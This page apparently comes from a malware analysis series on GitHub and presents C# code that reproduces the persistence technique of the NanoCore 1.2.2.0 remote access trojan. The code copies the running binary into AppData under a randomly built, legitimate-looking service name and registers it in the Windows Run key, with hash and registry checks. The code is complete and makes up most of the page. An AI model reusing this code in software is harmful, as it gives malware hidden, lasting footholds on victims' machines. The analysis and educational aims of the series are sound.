MalwareAnalysisSeries

This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

NanoCore 1.2.2.0: Persistence

RAT Image

This is a persistence TTP extracted from NanoCore 1.2.2.0. It utilizes the exact code as used in NanoCore client binary. On every execution, the NanoCore client generates a random legitimate looking binary name from pre-defined array of services and their pseudonym. It first checks weather persistence had already been achieved by comparing the registry key and value to the similar named folder in Program Files. If result is false, then it proceeds to copy itself in the AppData with the masquerading name and directory and adds the persistence by setting registry values in the RUN registry keys.

Implementation

During my analysis, i was able to de-obfuscate the code of NanoCore client binary and because it is built in c# language therefore, extracting the code was easier as compared to x86/64 binaries. The implementation of achieving persistence is pretty straight forward:


// Global variables
static string regpath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
static string regkey = "";
static string regvalue = "C:\\Program Files (x86)\\";

static void Main(string[] args)
{
    // Establish the masquerading name for persistence
    string directory = Masquerade();

    Guid guid = Guid.NewGuid();
    string appDataFolderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
    string full_path = appDataFolderPath + "\\" + guid.ToString() + "\\" + directory;

    try
    {
        if (!CheckForRegistry())
        {
            Directory.CreateDirectory(Path.GetDirectoryName(full_path));
            if (!CompareHash(full_path))
            {
                File.Delete(full_path);
                File.Copy(Assembly.GetExecutingAssembly().Location, full_path);
            }

            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(regpath, true);
            registryKey.SetValue(regkey, full_path);
        }
    } catch (Exception e) 
    {
        Console.WriteLine(e);
    }
}

Masquerading

NanoCore persists itself in the victim computer after masquerading itself as legitimate looking windows binary. It uses a pre-established array of strings each holding important keywords that are merged together at run-time to establish a legitimate name.

This function uses the provided arrays and generates random names: Example “NTFS Manager\ntfsmgr.exe” or “DNS Monitor\dnsmon.exe”.

public static string Masquerade()
{
    string[] array1 = { "ss", "mon", "mgr", "sv", "svc", "host" };
    string[] array2 = { "Subsystem", "Monitor", "Manager", "Service", "Service", "Host" };
    string[] array3 = { "dhcp", "upnp", "tcp", "udp", "saas", "ntfs", "dns", "iss", "smtp", "dos", "dpi", "pci", "scsi", "wan", "lan", "nat", "imap", "nas", "wpa", "dsl", "agp", "arp", "ddp" };

    Random random = new Random();

    int rand = random.Next(array1.Length);
    string part1 = array1[rand];
    string part3 = array3[random.Next(array3.Length)];

    string combination = $"{part3}{part1}.exe";
    string combination_final = part3.ToUpper() + " " + array2[rand] + "\\" + combination;
    regkey = part3.ToUpper() + " " + array2[rand];
    regvalue = regvalue + combination_final;

    //Console.WriteLine(combination_final);
    return combination_final;
}

Check Existing Persistence

It also checks weather, the mawlare had been able to achieve persistence by looking for same directory and file name in Program Files.

public static bool CheckForRegistry()
{
    try
    {
	//regkey and regvalue are also established with masquerading name
        RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(regpath, false);
        string a = Conversions.ToString(registryKey.GetValue(regkey, string.Empty));
        return string.Equals(a, regvalue, StringComparison.InvariantCultureIgnoreCase);
    }
    catch (Exception exception_)
    {
        Console.WriteLine(exception_);
    }
    return false;
}

Validate Hash

If a file already exists in the established path for persistence, its hash is first validated. In case of mis-match a new file is copied to the path.

public static bool CompareHash(string file)
{
    if (!File.Exists(file))
    {
        return false;
    }
    FileStream fileStream = null;
    try
    {
        fileStream = File.OpenRead(Assembly.GetExecutingAssembly().Location);
        string left = MD5(fileStream);
        fileStream.Close();
        fileStream = File.OpenRead(file);
        string right = MD5(fileStream);
        fileStream.Close();
        return Operators.CompareString(left, right, false) == 0;
    }
    catch (Exception exception_)
    {
        Console.WriteLine(exception_);
    }
    finally
    {
        if (fileStream != null)
        {
            fileStream.Close();
        }
    }
    return false;
}


public static string MD5(Stream stream_0)
{
    MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
    return BitConverter.ToString(md5CryptoServiceProvider.ComputeHash(stream_0)).Replace("-", string.Empty);
}

Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries

Disclaimer

Artifacts and code of this repository is intended to be used for educational purposes only!!!